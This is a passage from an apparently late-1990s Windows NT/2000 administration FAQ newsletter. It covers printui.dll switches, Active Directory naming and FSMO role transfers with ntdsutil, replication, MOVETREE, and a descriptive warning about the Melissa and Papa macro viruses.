Alpha | Intel | Mips | PowerPC /ia install printer driver using inf file /id install printer driver using add printer driver wizard /if install printer using inf file /ii install printer using add printer wizard with an inf file /il install printer using add printer wizard /in add network printer connection /j[provider] print provider name /k print test page to specified printer, cannot be combined with command when installing a printer /l[path] printer driver source path /m[model] printer driver model name /n[name] printer name /o display printer queue view /p display printer properties /q quiet mode, do not display error messages /r[port] port name /s display server properties /Ss Store printer settings into a file /Sr Restore printer settings from a file Store or restore printer settings option flags that must be placed at the end of command: 2 PRINTER_INFO_2 7 PRINTER_INFO_7 c Color Profile d PrinterData s Security descriptor g Global DevMode m Minimal settings u User DevMode r Resolve name conflicts f Force name p Resolve port /u use the existing printer driver if it's already installed /t[#] zero based index page to start on /v[version] driver version one of the following, Windows 95 or 98 | Windows NT 3.1 | Windows NT 3.5 or 3.51 | Windows NT 3.51 | Windows NT 4.0 | Windows NT 4.0 or 2000 | Windows 2000 /w prompt the user for a driver if specified driver is not found in the inf /y set printer as the default /Xg get printer settings /Xs set printer settings /z do not auto share this printer /Z share this printer, can only be used with the /if option /? help this message @[file] command line argument file Examples: Run server properties: rundll32 printui.dll,PrintUIEntry /s /t1 /n\\machine Run printer properties: rundll32 printui.dll,PrintUIEntry /p /n\\machine\printer Run add printer wizard localy: rundll32 printui.dll,PrintUIEntry /il Run add printer wizard on \\machine: rundll32 printui.dll,PrintUIEntry /il /c\\machine Run queue view: rundll32 printui.dll,PrintUIEntry /o /n\\machine\printer Run inf install: rundll32 printui.dll,PrintUIEntry /if /b "Test Printer" /f %windir%\inf\ntprint.inf /r "lpt1:" /m "AGFA-AccuSet v52.3" Run add printer wizard using inf: rundll32 printui.dll,PrintUIEntry /ii /f %windir%\inf\ntprint.inf Add per machine printer connection: rundll32 printui.dll,PrintUIEntry /ga /c\\machine /n\\machine\printer /j"LanMan Print Services" Delete per machine printer connection: rundll32 printui.dll,PrintUIEntry /gd /c\\machine /n\\machine\printer Enumerate per machine printer connections: rundll32 printui.dll,PrintUIEntry /ge /c\\machine Add printer driver using inf: rundll32 printui.dll,PrintUIEntry /ia /c\\machine /m "AGFA-AccuSet v52.3" /h "Intel" /v "Windows 2000" /f %windir%\inf\ntprint.inf Remove printer driver: rundll32 printui.dll,PrintUIEntry /dd /c\\machine /m "AGFA-AccuSet v52.3" /h "Intel" /v "Windows 2000" Set printer as default: rundll32 printui.dll,PrintUIEntry /y /n "printer" Set printer comment: rundll32 printui.dll,PrintUIEntry /Xs /n "printer" comment "My Cool Printer" Get printer settings: rundll32 printui.dll,PrintUIEntry /Xg /n "printer" Get printer settings saving results in a file: rundll32 printui.dll,PrintUIEntry /f "results.txt" /Xg /n "printer" Set printer settings command usage: rundll32 printui.dll,PrintUIEntry /Xs /n "printer" ? Store all printer settings into a file: rundll32 printui.dll,PrintUIEntry /Ss /n "printer" /a "file.dat" Restore all printer settings from a file: rundll32 printui.dll,PrintUI /Sr /n "printer" /a "file.dat" Store printer information on level 2 into a file : rundll32 printui.dll,PrintUIEntry /Ss /n "printer" /a "file.dat" 2 Restore from a file printer security descriptor: rundll32 printui.dll,PrintUIEntry /Sr /n "printer" /a "file.dat" s Restore from a file printer global devmode and printer data: rundll32 printui.dll,PrintUIEntry /Sr /n "printer" /a "file.dat" g d Restore from a file minimum settings and resolve port name: rundll32 printui.dll,PrintUIEntry /Sr /n "printer" /a "file.dat" m p Also see Knowledge Base article Q189105 (http://support.microsoft.com/support/kb/articles/Q189/1/05.ASP) -------------------------------------------------------------------------------- Q. How can I check DLL versions on my system? A. Windows NT has problems with "DLL Hell" where many applications may replace core DLL's which may cause incompatibilities between applications. Windows 2000 takes steps to elevate the problem by protecting core DLL's from being replaced but in the mean time there are a number of sites that help to track DLL versions etc: File Version Information Center from Microsoft - http://support.microsoft.com/servicedesks/fileversion/default.asp?vartarget=msdn Datent Files Database - http://209.35.251.176/filesdb/ -------------------------------------------------------------------------------- Q. How can I check my machines DirectX support? A. Windows 2000 includes a tool DXDIAG.EXE which can check DirectX compatibility on a machine including DirectSound, DirectDraw & DirectPlay.. Many screens have test buttons which test the various components of DirectX, for example testing DirectMusic plays various tunes to check you have the relevant required resources correctly configured (and its a cool tune) :-). -------------------------------------------------------------------------------- Q. How to I upgrade/downgrade to a multi-processor system in Windows 2000? A. In Windows 2000 to upgrade to multi-processor you just need to change the computers driver as follows: Right click on 'My Computer' and select Properties Select the Hardware tab Click 'Device Manager' Expand the 'Computer' branch and right click on the computer (e.g. MPS Uniprocessor PC) Select the Driver tab and click 'Update Driver' Click Next to the hardware wizard Select 'Display a list of known drivers' and click Next Select the multiprocessor system and click Next Click Next to the confirmation The device driver will be updated and click Finish to close the wizard Click Yes to restart the computer If you wish to switch from Multi to Uni follow the same procedure. -------------------------------------------------------------------------------- Q. How can I check if I have SP6 or SP6a installed? A. There has been some confusion about versions of Service Pack 6. To check which version of SP6 you are running run WINVER.EXE and if the text: "Revised Service Pack 6a" appears under the copyright notice then you are running SP6a (notice it will still just say SP6 next to the build). If the line is missing you are running the old SP6 and need to update your system with the patch available from http://download.microsoft.com/download/winntsp/Patch/6.0a/NT4/EN-US/Q246009i.EXE. -------------------------------------------------------------------------------- Q. How can I perform a CHKDSK on an NTFS 5.0 partition from NT 4.0? A. System Internals have released a utility, NTFSCHK from http://www.sysinternals.com/ntfschk.htm which uses some of Windows 2000's core files and allows full CHKDSK functionality on NTFS 5.0 partitions from NT 4.0. -------------------------------------------------------------------------------- Q. How can I allow non administrators to publish to a FrontPage web site? A. Thanks to Mike Gallo for this information. The default installation of FrontPage Server Extensions gives only users in the Local Administrators group and the Domain Administrators groups rights to publish to the web site. If you want to allow users NOT in one of the Administrators groups rights to publish to a web site you have to explicitly add them. To add them you need to: Create the user or group (if necessary) in User Admin Open the FrontPage Server Administrator program (Start - Programs - Windows NT 4.0 Option Pack - Microsoft Internet Information Server - FrontPage Server Administrator) Select the web site in the 'Select Server or Port' window Click on the 'Security' Button And type in the User name or group name in the 'Name' field. The in the 'Web Name' field refers to the web site you have highlighted in the 'Select Server or Port' window. When you click on [OK] you'll get confirmation that the user/group has been added This will change the security settings for your web site directory. If you were to check the NT Access Control List for your directory you would see the name you just added in the list -------------------------------------------------------------------------------- Q. Getting a Thinkpad OEM installed version of NT to occupy only one partition. A. A possible annoyance of some Thinkpad installs is that they come pre-partitioned in 2 Gigabyte chunks. If your machine (or the machine your are configuring) has a large hard drive this can add unwanted drive letters. To complicate things further, these machines come with "Disaster Recovery CDs" and users sometimes request the preload. To load the preloaded image onto a single partition do the following : NOTE : We will be wiping the drive, be sure to back your user's data 1)From a working single partiton NT machine, format a floppy disk. 2)Copy ntldr, ntdetect.com, and boot.ini to the floppy. 3)Edit boot.ini on the floppy and make sure that at least one of the selections looks something like : [boot loader] timeout=30 default=multi(0)disk(0)rdisk(0)partition(1)\WINNT [operating systems] multi(0)disk(0)rdisk(0)partition(1)\WINNT="Partition 1 on first disk 2Windows NT Version 4.00" 4)Boot to a floppy with a Win9X command interpreter (your can make one from Windows95 by formatting a floppy from DOS using the "format a: /q /s" command. This should be a different floppy from the NT floppy you made in step 1 and 2. Copy Fdisk or pqmagict.exe to the floppy. 5)Use either PQMagic or Fdisk to create a single primary partition on the drive (no need to format the drive) 6)Boot to your recovery CD and initiate a recovery. Do NOT take the defaults. 7)The recovery procedure will detect partitions. 8)When asked if you would like to overwrite your partition info do not. When asked if you would like to format the partition, select yes. Note : The formatted partition will be formatted FAT (not FAT32) 9)The recovery procedure will copy its files and eventually try to reboot. Note, if you try to boot at this stage, the machine won't boot. Why? Because a 6.0 Gig FAT partition isn't bootable. 10)Boot from the NT floppy you made in step 1. If the floppy points correctly to the NT install, NT will boot. 11)Run checkdisk if it hasn't already run. 12)From the command prompt convert the drive to NTFS (convert c: /fs:ntfs) This conversion will happen at the next reboot. 13)Check your boot.ini to make sure it looks right. 14)If you want, Run rdisk /s and Disk Administrator and let it make its signature. 15)Reboot. You now a have preload on a single partition. Thanks to Matthew Ramadanovic for this -------------------------------------------------------------------------------- Q. How can I modify the number of objects searched in Windows 2000? A. By default Active Directory searches are limited to 10,000 objects in a search however this can be changed as your organization grows. This policy affects all browse displays associated with Active Directory, such as those in Local Users and Groups, Active Directory Users & Computers, and dialog boxes used to set permissions for user or group objects in Active Directory. To change use either of the following two methods: To set for a group policy object: Start the Active Directory Users and Computers MMC snap-in (Start - Programs - Administrative Tools - Active Directory Users and Computers) Right click on the container and select Properties Select the Group Policy tab Select the Group Policy Object and select Edit Select the 'User Configuration' branch and expand Administrative Templates - Desktop - Active Directory Double click on 'Maximum size of Active Directory searches' Set to enabled and then set the number, e.g. 20000. Click Apply then OK Close the Group Policy Editor T o set directly for a user via the registry: Start the registry editor (regedit.exe) Move to HKEY_CURRENT_USER\Software\Policies\Microsoft From the Edit menu select New - Key Enter a name of 'Windows' (don't type the quotes) Move to the Windows key and from the Edit menu select New - Key Enter a name of 'Directory UI' (don't type the quotes) Move to the Directory UI key (you should now be at HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Directory UI) From the Edit menu select New - DWORD value Enter a name of 'QueryLimit' and press Enter Double click the new value and set to the decimal value required, e.g. 20000. Click OK Close the registry editor The change for both methods will take effect at next logon for the user. -------------------------------------------------------------------------------- Q. I can't create an OU/child domain with the same name from a single parent, why? A. While X.500 does all both an OU and child domain to share a common name this is not possible with Active Directory as it would cause problems with the relative distinguished name. If you attempt to create an OU where a child domain already exists with the same name you will get error: Active Directory Windows cannot create the object because: An attempt was made to add an object to the directory with a name that was already in use. Name-related properties on this object might now be out of sync. Contact your network administrator. If you try and create the child domain and an OU already exists with the same name the error below will be displayed: Active Directory Installation Failed The operation failed because: The Directory Service failed to create the object CN=Sales, CN=Partitions, CN=Configuration, DC=Savilltech, DC=Com. Please check for possible system errors. "The directory service is busy" There is no workaround to this and is a known restriction. -------------------------------------------------------------------------------- Q. How are objects named in the Active Directory? A. There are a number of methods available to name objects in the Active Directory, the most popular of which is the Distinguished Name or DN. An excellent RFC exists for DN explanation at http://www.cis.ohio-state.edu/htbin/rfc/rfc1779.html but I'll run over the basics here. Every object in the Active Directory has a distinguished name and it uniquely identifies the object in the directory service, for example: /O=Internet/DC=COM/DC=SavillTech/CN=Users/CN=John Savill This breaks down as follows: /O=Internet - Organization=Internet /DC=COM - Domain Component=COM /DC=SavillTech - Domain Component=SavillTech (put together is savilltech.com) /CN=Users - Common Names=Users /CN=John Savill - Common Names=John Savill You could also see OU for Organizational Unit. A Relative Distinguished Name (RDN) is also used which is also known as the friendly name, for example the RDN of the above for John Savill would be CN=John Savill, the RDN for the users container would be CN=Users. Also supported are LDAP URL names which begin with LDAP:\\, a LDAP server then a DN (of sorts) identifying the object, e.g. LDAP://titanic.savilltech.com/cn=JSavill,ou=Sales,dc=SavillTech,dc=com Finally are LDAP Canonical names which are the LDAP name without the ou=,cn= etc which are used by many of the admin tools, for example: savilltech.com/Sales/JSavill Of course in actual fact objects are stored using a GUID (Globally Unique IDentifier) which as a 128 but number generated at object creation time and is stored in object attribute objectGUID and can NEVER change but lets not worry about that :-) Finally we have the User Principal Name and SAM account name. The UPN is of the format @, e.g. jsavill@savilltech.com The SAM name is the old 4.0 format and must be unique throughout the entire organization due to its single layer convention, e.g. savillj. -------------------------------------------------------------------------------- Standard items: The NT FAQ book can be purchased via Amazon.com. http://www.amazon.com/exec/obidos/ASIN/0201606364/windowsntfaq Code to include the FAQ Search engine on your site: --------
Search the FAQ: tips for searching

Use Free-Text Query.

-------- Results will be displayed hyperlinked to answers in the NT FAQ. Put in a window and your visitors will be unaware they have left your site. As normal please post any questions/comments to the Windows FAQ Forum, http://www.ntfaq.com/cgi-bin/Ultimate.cgi ---------------- John


All information in this mail message is Copyright John Savill and may not be reproduced nor distributed without written permission from the author. http://www.ntfaq.com/terms.html

Thanks to everyone who gave ideas regarding grabbing output from one machine to another. I went for the option of a Matrox Mystique card connected via a S-Video cable to a Hautaugauge TV card but the quality is unusable at present and I'm trying to identify where the problem is!

The NT FAQ book can now be reserved via Amazon.com and should be out early June. http://www.amazon.com/exec/obidos/ASIN/0201606364/windowsntfaq

Microsoft will release a major follow-on to Windows 98 sometime in 2000 that will be based on the old Windows 9x kernel, not the Windows NT kernel used in Windows 2000. This is a change from the previous plans for the next 98 version which was thought to be NT based.

Service Pack 4 for Windows NT Terminal Server Edition released. See
http://www.microsoft.com/ntserver/terminalserver/exec/EOMAP/NT4SP4.asp

An update to Internet Explorer 5.0 has also been released.

Standard items:

Code to include the FAQ Search engine on your site:

--------
<FORM ACTION="http://www.ntfaq.com/ntsearch.cgi">
<INPUT TYPE="text" SIZE="30" NAME="data">
<INPUT TYPE="submit" VALUE="Search">
</FORM>
The <A href="http://www.ntfaq.com">NT FAQ</A> is provided courtesy of <A
href="http://www.ntfaq.com/contact.html">John Savill</A>.
--------

As normal please post any questions/comments to the NT FAQ discussion area,
http://www.ntfaq.com/discuss

New additions last week:

Q. What are the FSMO roles in Windows 2000?
Q. How can I change the RID master FSMO?
Q. How can I change the PDC emulator FSMO?
Q. How can I change the Infrastructure master FSMO?
Q. How can I change the Domain naming master FSMO?
Q. How can I change the Schema master FSMO?
Q. What is the Melissa/Papa virus?
Q. What is Multi-master replication?
Q. How can I move objects within my Forest?
Q. What switches can be used with PING?

-----------------------------------------

Q. What are the FSMO roles in Windows 2000?

A. In Windows 2000 all domain controllers are equal and through a process
known as multi-master replication changes are replicated to all domain
controllers in the domain. However in keeping with George Orwell's Animal
Farm some Domain Controllers are more equal than others.

Multi-master replication resolves conflicts however in some situations it
is
better to stop the conflict before it happens and to this end there are
five
difference Flexible Single Master of Operations (FSMO) roles (formally
known
as Floating Single Master of Operations as the roles were originally going
to be dynamically changeable) each managing an aspect of the domain/forest.
These roles can be moved between domain controllers but not dynamically,
they must be manually moved in the same manner as a BDC has to be manually
promoted to a PDC.

There are two types of roles, some are per domain, some are per forest.
Only
a domain controller in the domain can hold a domain specific FSMO role, any
domain controller in the forest can hold a forest FSMO role. Domain
controllers cannot hold FSMO roles in other domains/forests.

These roles are assigned in different GUI ways or using the NTDSUTIL
utility.

The five roles are defined below:

Schema master
-At the heart of the Active Directory is the schema which is like the
blueprint of all objects/containers. Since the schema has to be the same
throughout the entire forest only one machine can authorize modifications
to
the schema.
-One per forest

Domain naming master
-To add a domain to the forest its name has to be verifiably unique and so
the Domain naming master FSMO's of the forest is contacted to authorize the
domain name operation.
-One per forest

RID master
-Any domain controller can create new objects (such as a user, group,
computer account) however after creating 512 user objects the domain
controller must contact the domains RID master for another 512 RID's (it
actually contacts when it has less than 100 RID's left, this means the RID
master can be unavailable for short periods of time without causing object
creation problems). This is to ensure each object has a unique RID.
When a DC creates a security principal object it attaches a unique SID to
the object. The SID is created using the domain SID and a relative ID (the
RID).
The RID master has to be available when attempting to move objects between
domains with the resource kit movetree utility.
-One per domain

PDC emulator
-For backwards compatibility reasons one domain controller in each 2000
domain must emulate a PDC for the benefit of 4.0 and 3.5 domain controllers
and clients.
-One per domain

Infrastructure master
-When a user and group are in different domains there can be a lag between
changes to the user (e.g. name) and its display in the group. The
infrastructure master of the groups domain is responsible for fixing up the
group-to-user reference to reflect the rename. The infrastructure master
performs is fixups locally and relies upon replication to bring all other
replicas of the domain up to date.
-One per domain

-----------------------------------------

Q. How can I change the RID master FSMO?

A. To modify the role perform the following:

1, Start the Active Directory Users and Computers MMC snap-in on the Domain
Controller (Start - Programs - Administrative Tools - Active Directory
Users
and Computers)
2, In the left hand pane right click on the domain and select 'Connect to
Domain Controller'
3, Select the domain controller you wish to make the FSMO role owner and
click OK.
4, Right click on the domain again and select 'Operations Masters' from the
context menu
5, Select the 'RID Pool' tab
6, The current machine holding the RID master FSMO role will be shown. To
change click 'Change..'
      http://www.ntfaq.com/ntfaq/images/ridmaster.gif
7, Click OK to the confirmation dialog.
8, A dialog confirming the role change will be displayed.

This can also be accomplished using the NTDSUTIL.EXE utility.

C:\> ntdsutil
ntdsutil: roles
fsmo maintenance: connections
server connections: connect to server <server name>
server connections: quit
fsmo maintenance: transfer rid master

Click Yes to the role transfer dialog

Server "titanic" knows about 5 roles Schema - CN=NTDS
Settings,CN=TITANIC,CN=Servers,CN=Default-First-Site-Name,CN=Si
tes,CN=Configuration,DC=savilltech,DC=com Domain - CN=NTDS
Settings,CN=TITANIC,CN=Servers,CN=Default-First-Site-Name,CN=Si
tes,CN=Configuration,DC=savilltech,DC=com PDC - CN=NTDS
Settings,CN=TITANIC,CN=Servers,CN=Default-First-Site-Name,CN=Sites
,CN=Configuration,DC=savilltech,DC=com RID - CN=NTDS
Settings,CN=TITANIC,CN=Servers,CN=Default-First-Site-Name,CN=Sites
,CN=Configuration,DC=savilltech,DC=com Infrastructure - CN=NTDS
Settings,CN=TITANIC,CN=Servers,CN=Default-First-Site-Na
me,CN=Sites,CN=Configuration,DC=savilltech,DC=com

fsmo maintenance: quit
ntdsutil: quit

---------------------------------------------

Q. How can I change the PDC emulator FSMO?

A. To modify the role perform the following:

1, Start the Active Directory Users and Computers MMC snap-in on the Domain
Controller (Start - Programs - Administrative Tools - Active Directory
Users
and Computers)
2, In the left hand pane right click on the domain and select 'Connect to
Domain Controller'
3, Select the domain controller you wish to make the FSMO role owner and
click OK.
   http://www.ntfaq.com/ntfaq/images/changedc.gif
4, Right click on the domain again and select 'Operations Masters' from the
context menu
5, Select the 'PDC' tab
6, The current machine holding the PDC emulator FSMO role will be shown. To
change click 'Change..'
   http://www.ntfaq.com/ntfaq/images/pdcemulator.gif
7, Click OK to the confirmation dialog.
8, A dialog confirming the role change will be displayed.

This can also be accomplished using the NTDSUTIL.EXE utility.

C:\> ntdsutil
ntdsutil: roles
fsmo maintenance: connections
server connections: connect to server <server name>
server connections: quit
fsmo maintenance: transfer pdc

Click Yes to the role transfer dialog

Server "titanic" knows about 5 roles Schema - CN=NTDS
Settings,CN=TITANIC,CN=Servers,CN=Default-First-Site-Name,CN=Si
tes,CN=Configuration,DC=savilltech,DC=com Domain - CN=NTDS
Settings,CN=TITANIC,CN=Servers,CN=Default-First-Site-Name,CN=Si
tes,CN=Configuration,DC=savilltech,DC=com PDC - CN=NTDS
Settings,CN=TITANIC,CN=Servers,CN=Default-First-Site-Name,CN=Sites
,CN=Configuration,DC=savilltech,DC=com RID - CN=NTDS
Settings,CN=TITANIC,CN=Servers,CN=Default-First-Site-Name,CN=Sites
,CN=Configuration,DC=savilltech,DC=com Infrastructure - CN=NTDS
Settings,CN=TITANIC,CN=Servers,CN=Default-First-Site-Na
me,CN=Sites,CN=Configuration,DC=savilltech,DC=com

fsmo maintenance: quit
ntdsutil: quit

----------------------------------------------

Q. How can I change the Infrastructure master FSMO?

A. To modify the role perform the following:

1, Start the Active Directory Users and Computers MMC snap-in on the Domain
Controller (Start - Programs - Administrative Tools - Active Directory
Users
and Computers)
2, In the left hand pane right click on the domain and select 'Connect to
Domain Controller'
3, Select the domain controller you wish to make the FSMO role owner and
click OK.
   http://www.ntfaq.com/ntfaq/images/changedc.gif
4, Right click on the domain again and select 'Operations Masters' from the
context menu
5, Select the 'Infrastructure' tab
6, The current machine holding the Infrastructure FSMO role will be shown.
To change click 'Change..'
   http://www.ntfaq.com/ntfaq/images/infrastruct.gif
7, Click OK to the confirmation dialog.
8, A dialog confirming the role change will be displayed.

This can also be accomplished using the NTDSUTIL.EXE utility.

C:\> ntdsutil
ntdsutil: roles
fsmo maintenance: connections
server connections: connect to server <server name>
server connections: quit
fsmo maintenance: transfer infrastructure master

Click Yes to the role transfer dialog

Server "titanic" knows about 5 roles Schema - CN=NTDS
Settings,CN=TITANIC,CN=Servers,CN=Default-First-Site-Name,CN=Si
tes,CN=Configuration,DC=savilltech,DC=com Domain - CN=NTDS
Settings,CN=TITANIC,CN=Servers,CN=Default-First-Site-Name,CN=Si
tes,CN=Configuration,DC=savilltech,DC=com PDC - CN=NTDS
Settings,CN=TITANIC,CN=Servers,CN=Default-First-Site-Name,CN=Sites
,CN=Configuration,DC=savilltech,DC=com RID - CN=NTDS
Settings,CN=TITANIC,CN=Servers,CN=Default-First-Site-Name,CN=Sites
,CN=Configuration,DC=savilltech,DC=com Infrastructure - CN=NTDS
Settings,CN=TITANIC,CN=Servers,CN=Default-First-Site-Na
me,CN=Sites,CN=Configuration,DC=savilltech,DC=com

fsmo maintenance: quit
ntdsutil: quit

-----------------------------------------

Q. How can I change the Domain naming master FSMO?

A. To modify the role perform the following however make sure the machine
is
a global catalog:

1, Start the Active Directory Domains and Trusts MMC snap-in on the Domain
Controller (Start - Programs - Administrative Tools - Active Directory
Domains and Trusts)
2, In the left hand pane right click on 'Active Directory Domains and
Trusts' and select 'Connect to Domain Controller' from the context menu
3, Enter the domain controller to connect to.
   http://www.ntfaq.com/ntfaq/images/changedc2.gif
4, Right click on 'Active Directory Domains and Trusts' and select
'Operations Master' from the context menu
5, The current machine holding the Domain name operations FSMO role will be
shown. To change click 'Change..'
   http://www.ntfaq.com/ntfaq/images/operman.gif
6, Click OK to the confirmation dialog.
7, A dialog confirming the role change will be displayed.

This can also be accomplished using the NTDSUTIL.EXE utility.

C:\> ntdsutil
ntdsutil: roles
fsmo maintenance: connections
server connections: connect to server <server name>
server connections: quit
fsmo maintenance: transfer domain naming master

Click Yes to the role transfer dialog

Server "titanic" knows about 5 roles Schema - CN=NTDS
Settings,CN=TITANIC,CN=Servers,CN=Default-First-Site-Name,CN=Si
tes,CN=Configuration,DC=savilltech,DC=com Domain - CN=NTDS
Settings,CN=TITANIC,CN=Servers,CN=Default-First-Site-Name,CN=Si
tes,CN=Configuration,DC=savilltech,DC=com PDC - CN=NTDS
Settings,CN=TITANIC,CN=Servers,CN=Default-First-Site-Name,CN=Sites
,CN=Configuration,DC=savilltech,DC=com RID - CN=NTDS
Settings,CN=TITANIC,CN=Servers,CN=Default-First-Site-Name,CN=Sites
,CN=Configuration,DC=savilltech,DC=com Infrastructure - CN=NTDS
Settings,CN=TITANIC,CN=Servers,CN=Default-First-Site-Na
me,CN=Sites,CN=Configuration,DC=savilltech,DC=com

fsmo maintenance: quit
ntdsutil: quit

----------------------------------------

Q. How can I change the Schema master FSMO?

A. To modify the role perform you must use the 'Active Directory Schema
Manager' and you must first register the .dll for the MMC snap-in

C:\> regsvr32 schmmgmt.dll

You can now start the Schema Manager via the Resource Kit Tools console or
by creating a custom MMC and add the Active Directory Schema snap-in to it
(Start - Run - MMC - Console menu - Add/Remove Snap-in - Add - Active
Directory Schema - Add - Close - OK)

1, Start the Active Directory Schema MMC snap-in on the Domain Controller
(using on of the methods above)
2, In the left hand pane right click on 'Active Directory Schema' and
select
'Change Domain Controller' from the context menu
3, Enter the domain controller to connect to.
   http://www.ntfaq.com/ntfaq/images/changedc2.gif
4, Right click on 'Active Directory Domains Schema' and select 'Operations
Master' from the context menu
5, The current machine holding the Domain name operations FSMO role will be
shown. To change click 'Change..'
6, You can also set the registry to allow changes to the Schema by checking
the Schema modification box. Also notice this machine is already the schema
master.
   http://www.ntfaq.com/ntfaq/images/schemamaster.gif
7, Click OK to the confirmation dialog.
8, A dialog confirming the role change will be displayed.

To modify the role from the command line enter the following:

C:\> ntdsutil
ntdsutil: roles
fsmo maintenance: connections
server connections: connect to server <server name>
server connections: quit
fsmo maintenance: transfer schema master

Click Yes to the role transfer dialog

Server "titanic" knows about 5 roles Schema - CN=NTDS
Settings,CN=TITANIC,CN=Servers,CN=Default-First-Site-Name,CN=Si
tes,CN=Configuration,DC=savilltech,DC=com Domain - CN=NTDS
Settings,CN=TITANIC,CN=Servers,CN=Default-First-Site-Name,CN=Si
tes,CN=Configuration,DC=savilltech,DC=com PDC - CN=NTDS
Settings,CN=TITANIC,CN=Servers,CN=Default-First-Site-Name,CN=Sites
,CN=Configuration,DC=savilltech,DC=com RID - CN=NTDS
Settings,CN=TITANIC,CN=Servers,CN=Default-First-Site-Name,CN=Sites
,CN=Configuration,DC=savilltech,DC=com Infrastructure - CN=NTDS
Settings,CN=TITANIC,CN=Servers,CN=Default-First-Site-Na
me,CN=Sites,CN=Configuration,DC=savilltech,DC=com

fsmo maintenance: quit
ntdsutil: quit

------------------------------------------

Q. What is the Melissa/Papa virus?

A. On Friday, 26th March 1999 a new virus called Melissa was discovered and
has all ready caused major problems for many top companies including
Microsoft and Intel.

The new virus is a Word macro virus which is spread via e-mail and attacks
users of Microsoft Word 97 and Microsoft Word 2000.

If you receive an e-mail with the subject line "Important message from ...
," it may indicate you have been sent the virus. If that message comes with
a Word document attached called "list.doc," (but it's not always called
that) you've likely been sent the Word/Melissa macro virus. If you open the
document, it will send copies of itself to 50 e-mail addresses it gleans
from your personal e-mail. The most common method of infection seems to be
via Outlook.

The body of the message begins "Here is that document you asked for ...
don't show anyone else ;-)" with a document of pornographic Web sites named
"list.doc". Once the .doc file is opened with either Word 97 or Word 2000,
the virus is immediately executed if macros are enabled. It modifies the
Word setting by infecting the warning template and the current open file.

In addition, if the minute of the hour matches the date (for example, 3:31
p.m. on 31st March), Melissa will insert a Bart Simpson quote into the
current document:

"Twenty-two points, plus triple-word score, plus fifty points for using all
my letters. Game's over. I'm outta here"

A new strain of the Melissa virus has already been reported (30/03/1999)
which defeats the current Melissa anti-virus measures and the subject line
is now blank and this variant is known as W97M_MELISSA.A. Check your
anti-virus vendors website for an updated fix.

A second virus has been reported called Papa which behaves in the same way
but sends mail to the first 60 names in your Outlook address book and
affects Excel instead of Word.

This time the subject line claims the message is from "all.net and Fred
Cohen." The body of the e-mail, which contains an attached document titled
"path.xls," then instructs the user not to disable the macros, which is how
the virus is activated.

Current technology does not allow a virus to be activated by just opening a
mail message, you have to open an attachment so warnings about virus's by
opening a mail message are hoax's and there have been a large number of
these circulating recently.

-------------------------------------------

Q. What is Multi-master replication?

A. In a Windows 2000 domain, all domain controllers are equal which means
changes can be made on ANY domain controller and each servers complete
domain directory has to be kept up-to-date with each other through a
process
of multi-master replication.

Each time a change is made to the Active Directory the servers Update
Sequence Number, or USN, where the change is implemented is incremented by
one and this USN is also stored along with the change to the property of
the
object modified. These changes have to be replicated to all domain
controllers in the domain and the Update Sequence Number provides the key
to
the multi-master replication.

Update Sequence Number increments are atomic in operation which means that
the increment to the USN and the actual change occurs simultaneously, if
one
part fails the whole change fails which means its not possible for a change
to be made without the USN to be incremented, which means changes will
never
be "lost". Each domain controller keeps track of the highest USN's of the
other domain controllers that it replicates with so it can calculate which
changes it needs to be replicated on each replication cycle.

At the start of the replication cycle each server checks its Update
Sequence
Number table and then queries the domain controllers it replicates with for
their latest USN's. For example the table below represents the USN table
for
server A

DC B  DC C  DC D
 54    23    53

Server A then queries the domain controllers for their current USN's and
gets the following:

DC B  DC C  DC D
 58    23    64

From this server A can calculate the changes it needs from each server:

DC B           DC C         DC D
55,56,57,58 Up-to-date      54-64

It would then query each server for the changes needed.

It is possible for multiple changes to the same property of an object to
occur, and collisions are detected via a Property Version Number (PVN)
which
every property has. These work like the USN's and each time a property is
modified, the PVN is incremented by one.

In the event of a modification to the same property of the same object then
the change with the highest PVN takes precedence, and if the PVN's are the
same for a property update then a collision has occurred. If the PVN's
match
then the time stamp is used to resolve any conflicts. Each change is time
stamped and this highlights the need for the domain controllers time to be
accurate with one-an-other. In the highly unlikely event that the PVN's
match AND the time stamp is the same then a binary buffer comparison is
carried out with the larger buffer size change taking precedence. Property
Version Numbers are only incremented on original writes and not on
replication writes (unlike USN's) and are not server specific but rather
travels with the property.

A propagation-dampening scheme is also use to stop changes being repeatedly
sent to other servers which already have the change and to this end each
server keeps a table of up-to-date vectors which are the highest
originating
writes that are received from each controller and take the form of:

<the change>,<domain controller making the original change>,<USN of the
change>

For example

<object savillj, property Password xxx>,Titanic,54

Domain controllers then also send this information with the USN's so they
can calculate if they already have the change the other domain controllers
are trying to replicate.

---------------------------------------

Q. How can I move objects within my Forest?

A. The Windows 2000 Resource Kit ships with the MOVETREE.EXE utility which
can be used to move organization units, users or computers between domains
in a single forest. This is useful for the consolidation of domains or to
reflect organization restructuring.

Certain objects cannot be moved with MOVETREE such as Local and Domain
Global groups and if the container they are in is moved these objects will
be placed in an "orphan" container in the "LostAndFound" container in the
source domain.

Associated data is not moved with MOVETREE such as policies, profiles,
logon
scripts and personal data. To accomplish the movement of these items you
should write custom scripts using the 'Remote Administration Scripts'.

The syntax of MOVETREE is

MoveTree [/start | /continue | /check] [/s SrcDSA] [/d DstDSA] [/sdn SrcDN]
[/ddn DstDN] [/u Domain\Username] [/p Password] [/quiet]

/start Start a move tree operation with /check option by default. Instead,
you could be able to use /startnocheck to start a move tree operation
without any check.
/continue Continue a failed move tree operation.
/check Check the whole tree before actually move any object.
/s <SrcDSA> Source server's fully qualified primary DNS name. Required
/d <DstDSA> Destination server's fully qualified primary DNS name. Required
/sdn <SrcDN> Source sub-tree's root DN. Required in Start and Check case.
Optional in Continue case
/ddn <DstDN> Destination sub-tree's root DN. RDN plus Destinaton Parent DN.
Required
/u <Domain\UserName> Domain Name and User Account Name. Optional
/p <Password> Password. Optional
/quiet Quiet Mode. Without Any Screen Output. Optional

You should first run in /check mode as this will perform a test without
actually performing the move. Any errors will be displayed and also written
to the file movetree.err in your current directory. If the test is OK run
with the /start option.

An example use would be

C:\> movetree /check /s titanic.market.savilltech.com /d
pluto.legal.savilltech.com /sdn OU=testing,DC=Market,DC=Savilltech,DC=COM
/ddn OU=test2,DC=Legal,DC=Savilltech,DC=COM

This would move the OU testing from domain market.savilltech.com to test2
in
domain legal.savilltech.com.

-------------------------------------

Q. What switches can be used with PING?

A. PING is used to test TCP/IP connectivity with another host and gives
information about the length of time test data takes to be sent to the host
and a reply received.

Its most basic use is as follows:

C:\>ping <IP address or hostname>

Pinging 160.82.52.11 with 32 bytes of data:

